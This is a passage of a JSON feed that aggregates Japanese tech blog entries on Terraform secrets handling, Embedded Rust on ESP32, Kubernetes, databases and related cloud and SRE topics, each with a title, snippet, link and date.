},tfstateファイルの中身をよく確認するとしっかり平文で見えています。残念。\\"value\\": \\"password\\",結論sopsプロバイダーを使用することによりgitレポジトリ上に機密情報を平文で保存することはなくなります。しかしながら、tfstateのデータ上では設定値が平文で保存されることを防ぐことはできません。terraform state pullする権限があれば、機密情報が見れてしまいます。運用組織のポリシーで、tfstateへのアクセス権限を適切に権限管理することができるのであれば、選択肢としては取りうります。暗号化のためのKMSキー、tfstateを保存するS3バケットを機密情報をアクセス可能な人のみ権限を与えることが徹底できればよいです。しかしながら、機密情報をいかなる場合でもローカルに平文で保存することが許容されない組織であれば、機密情報は手動で設定することを選択したほうが望ましいと思います。どうしても機密情報をterraformで管理したのであれば、クライアントサイドで暗号化した機密情報をterraformで管理し、アプリ等で使用時にクライアントサイドで復号を行う形も考えられます。安全かどうかは、tfstateの保存場所、tfstateへのアクセス権限、暗号化鍵のアクセス権限それぞれが適切に設定されているかどうかが鍵となります。他に何かうまい方法で機密情報を管理しているという方がいらっしゃれば、ご意見ください。ワークアラウンドこれは自分がよく使う手段となります。リソースの箱だけ作って、作成時にダミーの値を入れておき、実際の値は手動で設定するという手法です。ignore_changesを入れておくことで、手動で値を変更しても、terraform的には差分ができないようにしています。これにより、機密情報をterraformの外に追い出しつつも、機密情報を入れるリソース自体は監理するということが実現できます。resource \\"aws_ssm_parameter\\" \\"db_password\\" { type = \\"SecureString\\" name = \\"/test/db_password\\" value = \\"Dummy\\" lifecycle { ignore_changes = [value] }}","link":"https://blog.masasuzu.net/entry/2023/12/09/014230","isoDate":"2023-12-08T16:42:30.000Z","dateMiliSeconds":1702053750000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"はんだ付けから始めるEmbedded Rust on Espressif(3)","contentSnippet":"prometheusで値を取得する前回まででESP32をWifiに接続してDHT11から温湿度を返す簡単なAPIサーバが作成できました。JSONを返すのを変更してprometheusでmetricsを取得できるように変更してみます。HTTPのハンドラ部分のURLを/からmetricsにしてpromethuesの書式を返すように変更しました。 let mut server = EspHttpServer::new(&Configuration::default())?; server.fn_handler(\\"/metrics\\", Method::Get, ...","link":"https://zenn.dev/satoken/articles/rust-on-esp3","isoDate":"2023-12-07T16:40:18.000Z","dateMiliSeconds":1701967218000,"authorName":"satoken","authorId":"satoken"},{"title":"はんだ付けから始めるEmbedded Rust on Espressif(2)","contentSnippet":"温湿度の取得前回まではLEDを光らせてきました。光り物はもう十分なので他のことをやります。これは温湿度が取得できるDHT11センサーです。これを利用して温湿度を取得してみます。https://akizukidenshi.com/catalog/g/gM-07003/以下のように回路を組みます。ちょうど同じことをやっている方がいるので新しくプロジェクトを作成してそのままコードをコピペします。https://www.youtube.com/watch?v=5qYswqbZUDshttps://github.com/shanemmattner/ESP32-C3_Rus...","link":"https://zenn.dev/satoken/articles/rust-on-esp2","isoDate":"2023-12-06T15:45:17.000Z","dateMiliSeconds":1701877517000,"authorName":"satoken","authorId":"satoken"},{"title":"エンプラ企業におけるK8s DrivenなCloudNative Journeyを思う年の瀬","contentSnippet":"このエントリーは 以下のアドベントカレンダーの記事です3-shake Advent Calendar 2023 :7日目Kubernetes Advent Calendar 2023 : 8日目 背景現在、エンプラ企業のお客さんに対してSREとしてCloudNativeな技術やk8sを使用して支援を行なっているがその中でkubernetesそもそもの利用について少し考える機会があった。k8sにおける技術的・組織的課題はどの組織においてもあるが、ステークホルダーが多岐にわたるエンプラ企業ではその課題はさらに多くなり、また解決も難しくなる。課題に対して深く長く向き合うほ...","link":"https://zenn.dev/yokoo_an209/articles/4ce4ce0d795239","isoDate":"2023-12-06T11:01:49.000Z","dateMiliSeconds":1701860509000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"AlloyDB omni on Kubernetesを眺める","contentSnippet":"このエントリーは以下のアドベントカレンダーの6日目の記事です。3-shake Advent Calendar 2023 シリーズ1昨日は@bells17さんによるChainguard imagesについて調べてみたでした。PostgreSQL Advent Calendar 2023 シリーズ2Kubernetes Advent Calendar 2023昨日は@yassan168さんによるRKE2ノードのCiliumを使ったeBPFな帯域制限をする話でした。 背景を眺める2023年10月12日にAlloyDB OmniのGAに併せてAlloyDB Omni o...","link":"https://zenn.dev/nnaka2992/articles/viewing_alloydb_omni_operator","isoDate":"2023-12-05T23:30:00.000Z","dateMiliSeconds":1701819000000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"はんだ付けから始めるEmbedded Rust on Espressif","contentSnippet":"はじめに突然ですがここに秋月電子で購入したESP32-C3があります。1個310円と他のESP32と比べても安価でCPUにRISC-Vを使ったチップです。https://akizukidenshi.com/catalog/g/gM-17493/以下のドキュメントはESP32シリーズを製造しているEspressifによるRustのハンズオンドキュメントです。今回これを読みながらESP32-C3でRustを動かして遊んでみます。Embedded Rust on EspressifThe Rust on ESP BookESP32単体ではPCと接続してプログラムを書き込め...","link":"https://zenn.dev/satoken/articles/rust-on-esp1","isoDate":"2023-12-05T16:22:25.000Z","dateMiliSeconds":1701793345000,"authorName":"satoken","authorId":"satoken"},{"title":"Chainguard imagesについて調べてみた","contentSnippet":"※この記事は3-shake Advent Calendar 2023 シリーズ1の12月5日の記事です最近Chainguard imagesというdistrolessコンテナイメージについて知ったので、簡単に調べてみました。 Chainguard imagesとは?Chainguard imagesはChainguard社によって提供されているdistrolessを中心としたセキュアなコンテナイメージ群だ、という理解です。Wolfiという(おそらくこれもChainguard社が開発している)コンテナ・クラウドネイティブ用途向けのLinux undistroなOSを利用して各C...","link":"https://zenn.dev/bells17/articles/chainguard-images","isoDate":"2023-12-05T03:58:09.000Z","dateMiliSeconds":1701748689000,"authorName":"bells17","authorId":"bells17"},{"title":"ECSの可用性設計を4つの軸で整理する","contentSnippet":"はじめに こんにちは!Sreake事業部 志羅山です。今年3月に3-shakeに入社し、長野県からリモートで仕事をしています(東京にも定期的に行ってます)。 最近、とあるお客様環境におけるECS(AWSのフルマネージド型 […]The post ECSの可用性設計を4つの軸で整理する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/ecs-availability-4-factors/","isoDate":"2023-12-05T02:48:59.000Z","dateMiliSeconds":1701744539000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud Loggingについて","contentSnippet":"whatGoogle CloudのCloud Loggingについて基本概要など調べたことをまとめる適宜追記予定 Cloud Loggingとはhttps://cloud.google.com/logging/docs/overview?hl=jaGoogleCloud上のシステム等が生成したログを収集・保管・管理するための仕組み。基本的にGoogleCloud上のサービスが出力するログはCloud Loggingへと集められる。収集されたログはログバケットと呼ばれるストレージで保管され、期間が過ぎたら破棄するといった設定を行うことが可能。ログはコンソールのログ...","link":"https://zenn.dev/nedoko_dok0dko/articles/ef07acbb983d01","isoDate":"2023-12-04T11:05:41.000Z","dateMiliSeconds":1701687941000,"authorName":"seno","authorId":"seno"},{"title":"吉祥寺.pm35 でLTしてきました。 #kichijojipm","contentSnippet":"吉祥寺.pm こと 句会吉祥寺.pm35 に参加して、LTしてきました。kichijojipm.connpass.com資料はこちら。言いたいこととしてはベストプラクティスなんてないよ。一般的によりよいプラクティスやパターンはあるけど、どんなときには適用できる銀の弾丸的なものはないから、自身の組織とサービスに合わせてくみ上げていきましょうということ。正解はひとつ!じゃない!!その上で、ざっくりとどんな選択肢と選択するための観点を述べていきました。まだ全然ブラッシュアップできるのでどこかでまとめてブログに書きたいところです。ちなみに最後に出てくる あなたらしく○○ は同僚のスライドのパロディです。毎回時間オーバーするのでトークで申し込んだ方が良いのでは?というツッコミはごもっともです。懇親会でもTerraformのお悩みとか短いですが話せて楽しかったです。また参加したいですね。","link":"https://blog.masasuzu.net/entry/2023/12/03/161754","isoDate":"2023-12-03T07:17:54.000Z","dateMiliSeconds":1701587874000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Auroraアップグレード時のBlue/Green Deploymentsの利用","contentSnippet":"このエントリーは3-shake Advent Calendar 2023 4日目の記事です。株式会社スリーシェイクのメンバーが各々自由に技術・非技術ネタを投稿するカレンダーとなります。 はじめにAmazon Aurora2系について、標準サポート終了日(2024/10/31)まで1年を切りました。依然として、Aurora2系を利用しているシステムは多いのではないでしょうか。アプリケーションのテストや検証を考えると早めに動いていかなければならない時期となりました。本記事では、アップグレード方式・方針の一つとして、AWSからも推奨されているRDS Blue/Green Deplo...","link":"https://zenn.dev/hakushou41/articles/70b83066cd1741","isoDate":"2023-12-03T07:12:32.000Z","dateMiliSeconds":1701587552000,"authorName":"Shohei Takamura","authorId":"stakamura"},{"title":"Playwright Test generatorを利用したE2Eテスト ことはじめ","contentSnippet":"このエントリーは3-shake Advent Calendar 2023 3日目の記事です。株式会社スリーシェイクのメンバーが各々自由に技術・非技術ネタを投稿するカレンダーとなります。 はじめに現在、私はマイクロサービスを運用するSREを支援する人として活動しています。運用チームやSREが主導となって実施するメンテナンスやアップデート作業などでは、アップデート後の動作確認として、ブラウザを介したWebアプリケーションの簡易目視確認をします。これらの確認項目は、手順書へ項目を記載し、必要に応じてエビデンスをスクリーンショットで取得する必要があります。確認作業を網羅的にしようとす...","link":"https://zenn.dev/hakushou41/articles/65bc815b14354f","isoDate":"2023-12-02T15:00:00.000Z","dateMiliSeconds":1701529200000,"authorName":"Shohei Takamura","authorId":"stakamura"},{"title":"Lima で vz + rosetta を使って ARM VM 上で x86_64 バイナリを実行する","contentSnippet":"この記事は、3-shake Advent Calendar 2023 2日目のエントリ記事です。2023年10月に Docker Desktop for Apple silicon での Rose…","link":"https://qiita.com/yteraoka/items/0d793d06cddccad73b0b","isoDate":"2023-12-01T22:02:03.000Z","dateMiliSeconds":1701468123000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"2023-12-01 吉祥寺.pm ベストプラクティスと組織とIaC","contentSnippet":"ベストプラクティスなんてものはない","link":"https://speakerdeck.com/masasuzu/2022-12-01-ji-xiang-si-dot-pm","isoDate":"2023-12-01T05:00:00.000Z","dateMiliSeconds":1701406800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"データベースエンジニアのためのDB on Kubernetes入門ガイド","contentSnippet":"このエントリーは3-shake Advent Calendar 2023 1日目の記事です。株式会社スリーシェイクのメンバーが各々自由に技術・非技術ネタを投稿するカレンダーとなります。 はじめに1959年にW. C. McGeeがデータベースという概念を提唱してから約65年、様々なアーキテクチャのデータベースが提案され様々なプラットフォームで利用されてきました。古くはメインフレームを中心に動作していたデータベースは、マイコンブームとともにそのアーキテクチャを変えながらにオープン系システムへと主戦場を移して行きました。オープン系が主流になってからもその進化は止まることなく、ベア...","link":"https://zenn.dev/nnaka2992/articles/db_on_k8s_guide_for_db_engineers","isoDate":"2023-11-30T23:30:01.000Z","dateMiliSeconds":1701387001000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"データベース輪読会をやってみた話","contentSnippet":"はじめに こんにちは。株式会社スリーシェイク Sreake 事業部に所属している @suganamao です。Sreake 事業部は技術力が求められる領域で豊富な経験を持つ SRE の専門家が集まったチームです。事業部に […]The post データベース輪読会をやってみた話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/database-reading-circle/","isoDate":"2023-11-29T03:45:53.000Z","dateMiliSeconds":1701229553000,"authorName":"Sreake","authorId":"Sreake"},{"title":"gin.vimでgitの差分を快適に閲覧する","contentSnippet":"2023/11/29のVim駅伝記事です。vimを切っ掛けにエンジニアになった話」でした。gin.vimというVim上でGitを便利に扱うプラグインがあります。ExコマンドのGinを通じて、gitコマンドを実行するのが素朴な使い方です(例:Gin commit)。Ginの代わりにGinBufferを使うと、コマンドの実行結果をバッファに出力できます(例:GinBuffer log -n 1)。","link":"https://blog.atusy.net/2023/11/29/gin-diff/","isoDate":"2023-11-29T00:00:00.000Z","dateMiliSeconds":1701216000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KEP-4188: New kubelet gRPC API with endpoint returning local pods info","contentSnippet":"!KEP 持ち寄り会 #1 の登壇資料です。2023/11/27 時点の KEP-4188 の内容です。Kubernetes 1.29 時点で機能として入っていないので注意して下さい。また、後半の文章は考察を含んでおり、正確な情報でない可能性があります。 概要KEP-4188 は、Kubelet に Pod Conditions を公開する gRPC API を追加する KEP です。Pod Conditions は Status フィールドに含まれています。❯ kubectl get pods -n kube-system coredns-5d78c9869d-8gglh ...","link":"https://zenn.dev/toversus/articles/791c7916e21059","isoDate":"2023-11-27T08:23:13.000Z","dateMiliSeconds":1701073393000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"KEP-3063: Dynamic resource allocation","contentSnippet":"KEP持ち寄り会で発表した資料です。\\rKubernetesのKEP \\"Dynamic resource allocation\\" に関する情報をまとめた内容になります。\\r\\rイベントURL: https://kep.connpass.com/event/299651/\\r参考資料:\\r\\rhttps://zenn.dev/toversus/articles/fe2aa06f133b49 \\rhttps://kubernetes.io/blog/2022/12/15/dynamic-resource-allocation/ \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/README.md \\rhttps://github.com/kubernetes-sigs/dra-example-driver/blob/main/demo/demo-apps.png \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/components.png \\rhttps://github.com/cncf-tags/container-device-interface \\rhttps://github.com/containerd/containerd/blob/v1.7.9/pkg/cri/server/container_create_linux.go#L417-L419 \\rhttps://github.com/cncf-tags/container-device-interface/blob/main/pkg/cdi/container-edits.go#L70-L148 \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/README.md \\rhttps://github.com/kubernetes/kubernetes/pull/111023 \\rhttps://github.com/orgs/kubernetes/projects/95/views/1 \\rhttps://github.com/kubernetes/dynamic-resource-allocation \\rhttps://www.cncf.io/projects/akri/ \\rhttps://github.com/kubernetes-sigs/dra-example-driver \\rhttps://github.com/NVIDIA/k8s-dra-driver \\rhttps://github.com/intel/intel-resource-drivers-for-kubernetes \\rhttps://github.com/intel/intel-device-plugins-for-kubernetes \\rhttps://docs.google.com/document/d/1BNWqgx_SmZDi-va_V31v3DnuVwYnF2EmN7D-O_fB6Oo/edit#heading=h.bxuci8gx6hna \\rhttps://drive.google.com/file/d/1iLg2FEAEilb1dcI27TnB19VYtbcvgKhS/view\\rhttps://developer.nvidia.com/blog/nvidia-gpu-operator-simplifying-gpu-management-in-kubernetes/ \\rhttps://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/overview.html \\rhttps://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/cdi.html \\rhttps://intel.github.io/intel-device-plugins-for-kubernetes/README.html \\rhttps://github.com/NVIDIA/k8s-device-plugin\\rhttps://blogs.nvidia.com/blog/multi-instance-gpus/ \\rhttps://developer.nvidia.com/blog/nvidia-ampere-architecture-in-depth/ \\rhttps://groups.google.com/a/kubernetes.io/g/dev/c/BDtCFfXQbw0?pli=1\\rhttps://kubernetes.slack.com/archives/C032ZE66A2X/p1700215190429689 \\rhttps://kubernetes.slack.com/archives/C032ZE66A2X/p1700215190429689","link":"https://speakerdeck.com/bells17/kep-3063-dynamic-resource-allocation","isoDate":"2023-11-27T05:00:00.000Z","dateMiliSeconds":1701061200000,"authorName":"bells17","authorId":"bells17"},{"title":"GitHubとCircleCIからFour Keysを計測する","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。私は以前に、DORAチームの提案したFour Keysという指標の計測システムの調査・検証を行いました。以前の検証では、GitHubとGitLab、及びモックデ […]The post GitHubとCircleCIからFour Keysを計測する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/four-keys-with-github-circleci/","isoDate":"2023-11-22T01:25:41.000Z","dateMiliSeconds":1700616341000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQueryの メタデータってどこから見れるの?","contentSnippet":"whatBigQueryのメタデータの取得先について簡単にまとめたもの BigQueryのメタデータ、調べることが出来るの?A. 出来るということで、メタデータの主な取得先について記載していく テーブル情報やレコード数BigQueryにはINFORMATION_SCHEMAという、メタデータなどを保持しているビューが存在している。これらを利用してメタデータを取得することが出来る。ただし、テーブルの更新日やテーブルのデータ量については記録されていない。https://cloud.google.com/bigquery/docs/information-sche...","link":"https://zenn.dev/nedoko_dok0dko/articles/f6ccafeceac4a3","isoDate":"2023-11-21T10:26:24.000Z","dateMiliSeconds":1700562384000,"authorName":"seno","authorId":"seno"},{"title":"走馬灯のIaCは考えておいて","contentSnippet":"走馬灯のIaCは考えておいてというタイトルで登壇してきました\\r\\r技術的負債に向き合う Online Conference\\rhttps://findy.connpass.com/event/297813/\\r\\r走馬灯のセトリは考えておいての短編はどれも面白いのでオススメです。\\rhttps://www.hayakawa-online.co.jp/shopdetail/000000015282/\\r\\r登壇ブログ |『走馬灯のIaCは考えておいて』というタイトルで登壇しました。\\rhttps://syu-m-5151.hatenablog.com/entry/2023/11/21/132144","link":"https://speakerdeck.com/nwiizo/zou-ma-deng-noiachakao-eteoite","isoDate":"2023-11-21T05:00:00.000Z","dateMiliSeconds":1700542800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」にて3名のエンジニアが受賞","contentSnippet":"株式会社スリーシェイクは、この度 Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」において、スリーシェイクから3名のエンジニアが受賞したことをお知らせいたします。The post スリーシェイク、Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」にて3名のエンジニアが受賞 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-partner-top-engineer-2024/","isoDate":"2023-11-20T00:50:00.000Z","dateMiliSeconds":1700441400000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ChatGPTのFunctionCallをGolangで試してみる","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 今回、ChatGPTの新機 […]The post ChatGPTのFunctionCallをGolangで試してみる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/chatgpt-function-call-with-golang/","isoDate":"2023-11-17T11:24:01.000Z","dateMiliSeconds":1700220241000,"authorName":"Sreake","authorId":"Sreake"},{"title":"プラグインをURLで指定しやすくするために、tree-sitterでURIパーサーを作ってNeovimを彩ってみた","contentSnippet":"この記事はVim駅伝2023年11月17日(金)の記事です。VimやNeovimでプラグインマネージャーに使いたいプラグインを指定するとき、GitHubでの配布物であればユーザー名/レポジトリ名での指定が一般的です。","link":"https://blog.atusy.net/2023/11/17/tree-sitter-uri/","isoDate":"2023-11-17T00:00:00.000Z","dateMiliSeconds":1700179200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ツールごとのOPA/Regoの書き方","contentSnippet":"RegoとはKubernetesやTerraformの静的解析で既存のルールでは足りないときや自分でカスタマイズしたいときにRegoというポリシー言語でコードを書くhttps://www.openpolicyagent.org/docs/latest/policy-language/ Regoを利用できるツールの例conftesthttps://www.conftest.dev/自分で全部書くtrivyhttps://aquasecurity.github.io/trivy/latest/docs/scanner/misconfiguration/cust...","link":"https://zenn.dev/tayusa/articles/63f286f4733a87","isoDate":"2023-11-16T03:05:53.000Z","dateMiliSeconds":1700103953000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"スリーシェイク、生成AIを活用したSRE業務自動化への取り組みを発表","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake(スリーク)」は、「 Google Cloud 生成 AI パートナー エコシステム 」を活用して、SREの業務を自動化・効率化し、これまでの人的リソースへの依存度を軽減する取り組みを開始することをお知らせいたします。The post スリーシェイク、生成AIを活用したSRE業務自動化への取り組みを発表 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/generative-ai-sre/","isoDate":"2023-11-14T00:50:00.000Z","dateMiliSeconds":1699923000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"MinIO Client で Amazon S3 や Cloudflare R2 を利用する","contentSnippet":"Cloudflare R2 は egress の費用がかからないということで手元のファイルのバックアップに使ってみようかなと思ったときにクライアントとして何を使おうかな aws cli 使うほ","link":"https://blog.1q77.com/2023/11/minio-client/","isoDate":"2023-11-12T11:13:31.000Z","dateMiliSeconds":1699787611000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"kube-proxy入門","contentSnippet":"Kubernetes Novice Tokyo #28 の登壇資料です\\r\\rイベントURL: https://k8s-novice-jp.connpass.com/event/293157/\\r配信URL: https://www.youtube.com/watch?v=LSW51Cm0Wc0\\r\\rコードリーディングメモ:\\rhttps://zenn.dev/bells17/scraps/5e41da598a8266\\r\\r参考資料:\\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.2 \\rhttps://speakerdeck.com/ryusa/servicewotazunete3000xing-kuberneteskodorideingufalselu \\rhttps://qiita.com/Tocyuki/items/6d90a1ec4dd8e991a1ce \\rhttps://oxynotes.com/?p=6361#5 \\rhttps://atmarkit.itmedia.co.jp/ait/articles/1002/09/news119.html \\rhttps://hana-shin.hatenablog.com/entry/2022/06/21/215757 \\rhttps://qiita.com/syui/items/27020b970775a0c508ba \\rhttps://www.digitalocean.com/community/tutorials/iptables-essentials-common-firewall-rules-and-commands \\rhttps://www.asahi-net.or.jp/~aa4t-nngk/ipttut/output/explicitmatches.html \\rhttps://github.com/torvalds/linux/blob/master/Documentation/networking/nf_conntrack-sysctl.rst \\rhttps://tech-blog.rakus.co.jp/entry/20220301/iptables \\rhttps://linuxjm.osdn.jp/html/iptables/man8/iptables-extensions.8.html \\rhttps://man.archlinux.org/man/conntrack.8.en \\rhttps://nomeu.net/8380/ \\rhttps://knowledge.sakura.ad.jp/4048/ \\rhttps://docs.openshift.com/container-platform/4.10/rest_api/network_apis/service-v1.html \\rhttps://stackoverflow.com/questions/75835169/kubernetes-loadbalancer-how-does-healthchecknodeport-work \\rhttps://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/#preserving-the-client-source-ip \\rhttps://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/ \\rhttps://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/ \\rhttps://hyoublog.com/2020/05/20/kubernetes-externalip-service/ \\rhttps://qiita.com/dingtianhongjie/items/8f3c320c4eb5cf25d9de \\rhttps://milestone-of-se.nesuke.com/nw-basic/as-nw-engineer/loopback-address-interface/ \\rhttps://kubernetes.io/docs/reference/networking/virtual-ips/ \\rhttps://kubernetes.io/docs/concepts/services-networking/service/ \\rhttps://kubernetes.io/ja/docs/concepts/services-networking/connect-applications-service/ \\rhttps://knowledge.sakura.ad.jp/22636/ \\rhttps://netfilter.org/index.html \\rhttps://madomadox.hatenablog.com/entry/2021/01/03/190730 \\rhttps://qiita.com/bashaway/items/e405d59d92670fbc5341 \\rhttps://www.digitalocean.com/community/tutorials/a-deep-dive-into-iptables-and-netfilter-architecture \\rhttps://tech-blog.rakus.co.jp/entry/20220301/iptables \\rhttps://www.asahi-net.or.jp/~aa4t-nngk/ipttut/output/explicitmatches.html \\rhttps://eng-entrance.com/linux-firewall \\r\\r\\r画像引用元:\\rhttps://github.com/kubernetes/community/tree/master/icons \\rhttps://github.com/kubernetes/kubernetes/tree/master/logo \\rhttps://github.com/cncf/artwork/tree/master/projects/kubernetes \\rhttps://github.com/kubernetes/kubeadm/tree/main/logos","link":"https://speakerdeck.com/bells17/kube-proxyru-men","isoDate":"2023-11-09T05:00:00.000Z","dateMiliSeconds":1699506000000,"authorName":"bells17","authorId":"bells17"},{"title":"Golangで行うポートスキャナ自作ではじめるペネトレーションテスト","contentSnippet":"はじめにオライリーでポートスキャナ自作ではじめるペネトレーションテストという本が発売されました。2章ではScapyを利用して実際にパケットを作成して、nmapのようなポートスキャナ自作します。パケットのカプセル化などNWの仕組みから丁寧に解説されていてとても良書だと思います。ただ筆者はPythonよりGolang派なので2章のプログラムをGolangに書き換えてみました。https://github.com/sat0ken/go-port-scanner※オリジナルはこちらhttps://github.com/oreilly-japan/pentest-starting...","link":"https://zenn.dev/satoken/articles/golang-port-scanner","isoDate":"2023-11-03T03:30:25.000Z","dateMiliSeconds":1698982225000,"authorName":"satoken","authorId":"satoken"},{"title":"Amazon ECSイベントをCloudWatch Logsへ収集する","contentSnippet":"この記事は、3-shake Advent Calendar 2023 1日目のエントリ記事です。 きっかけECSは、Container Insightsを有効化することでクラスタやサービスといった各レイヤのパフォーマンスメトリクスをCloudWatchに収集できる。一方で、以下のようなケースにおいて一定の仮説を導くためには、このメトリクスだけではやや不足感があるため、発生したイベントやその結果を別の方式で監視したくなった。メトリクスがスパイクしたタイミングで何が起きていたか?デプロイを実行したが結果はどうだったか?デプロイが失敗したが原因は何か?などなど・・調べてみ...","link":"https://zenn.dev/yuu0w0yuu/articles/df3a9fdef609e2","isoDate":"2023-11-02T08:33:22.000Z","dateMiliSeconds":1698914002000,"authorName":"Yutaro Shirayama","authorId":"yuu0w0yuu"},{"title":"Time-Slicing GPUs を Kubernetes で利用する","contentSnippet":"はじめに Kubernetes にて、1つのGPUを複数コンテナ (※ Pod内の複数コンテナ、複数のPodを指す) で使い倒したい。そんな時はありますでしょうか。本記事では、NVIDIA/k8s-device-plug […]The post Time-Slicing GPUs を Kubernetes で利用する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-time-slicing-gpu/","isoDate":"2023-10-31T08:39:06.000Z","dateMiliSeconds":1698741546000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ShellCheckで自動化の品質を向上させる","contentSnippet":"はじめに Site Reliability Engineering (SRE) の領域では、トイル (toil) の削減と効率的なオペレーションが大きな課題となっています。トイルというのは、手作業で繰り返し行う作業のこと […]The post ShellCheckで自動化の品質を向上させる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/shellcheck-automation-enhancement/","isoDate":"2023-10-31T02:32:20.000Z","dateMiliSeconds":1698719540000,"authorName":"Sreake","authorId":"Sreake"},{"title":"テキストの折り畳みを彩る vim.treesitter.foldtext() を使ってみる","contentSnippet":"Neovim 0.10で使えるようになるvim.treesitter.foldtext()を使うと折り畳んだコードもキレイに色付けられるぞ。ラッパー書けば次の行の情報も色付けて表示できたりしてとっても便利だぞ。","link":"https://blog.atusy.net/2023/10/26/treesitter-foldtext/","isoDate":"2023-10-26T00:00:00.000Z","dateMiliSeconds":1698278400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【Terraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80】\\"Findy Terraform 活用大全 - IaCの今\\" に登壇","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️Terraformのtfstateの分割パターンtfstate分割をリポジトリやリモートバックエンドのディレクトリ構成への適用する方法発表スライドから得られる知識イベント名発表スライドイベント名オッス!オラ長谷川!✋\uD83C\uDFFB『 tfstate の分割パターンとディレクトリ構成への適用』ていうテーマで、 Findy Terraform 活用大全 - IaCの今 に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!『Terraform活用大全 - IaCの今。』の登壇資料です!!tfstateを分割してみんなで最高になろう✌\uD83C\uDFFB#Terraform_findyhttps://t.co/NteGvKdMEE— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) October 25, 2023 ちな、発表内容の詳細はこの記事をみてくれよな!","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/10/25/550144","isoDate":"2023-10-25T03:00:00.000Z","dateMiliSeconds":1698202800000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"\uD83E\uDDD1‍\uD83D\uDE80 tfstate の分割パターンとディレクトリ構成への適用","contentSnippet":"『Terraform活用大全 - IaCの今』の登壇資料です\\r\\r\\r・Terraformのtfstateの分割パターン\\r・tfstate分割をリポジトリやリモートバックエンドのディレクトリ構成への適用する方法\\r\\rを紹介しました\\r\\rスライドでは少ししか分割パターンを紹介できませんでしたので、ぜひ元記事 (tfstateファイルの分割パターンとディレクトリ構成への適用) もご参照ください\uD83D\uDC4D\uD83C\uDFFB\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1717030862452384047","link":"https://speakerdeck.com/hiroki_hasegawa/tfstate-nofen-ge-hatantoteirekutorigou-cheng-henoshi-yong","isoDate":"2023-10-24T04:00:00.000Z","dateMiliSeconds":1698120000000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"YugabyteDBのドキュメントを全部読む Day9","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Read I/O pathを読みました。今回はArchitecture > Core functions > High Availabilityを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。High availabilityYugabyteDBは一貫性と分断耐性を兼ね備えたデータベースであると同時にリーダーの障害時に新しいリーダーとしてフェイルオーバー出来るアクティブレプリカを持つことで高可用性(HA)を達成している。もしノードに障害が発生した場合、そのノード上で動作するYB-TServerとYB-Masterの停止を引き起こす。YB-TServer failureYB-TServerはYSQLレイヤとアクティブなIOを提供するピアーリーダータブレットを含むタブレットをホストする。YSQレイヤとタブレットピアーフォロワーとタブレットピアーリーダーで発生した障害はそれぞれ特別な方法であつかわれる。YQL failureアプリケーションの視点からみればYQLはステートレスである。そのためクライアントが発行したリクエストは単純に他ノードのYQLにリクエストが送信される。スマートクライアントを利用している場合、スマートクライアントは理想的なYB-TServerの場所をタブレットが所有するキーから検索し、リクエストを直接そのノードに転送する。Tablet peer follower failureタブレットピアーフォロワーはクリティカルパスではない。この障害はユーザーリクエストへの可用性に影響しない。Tablet peer leader 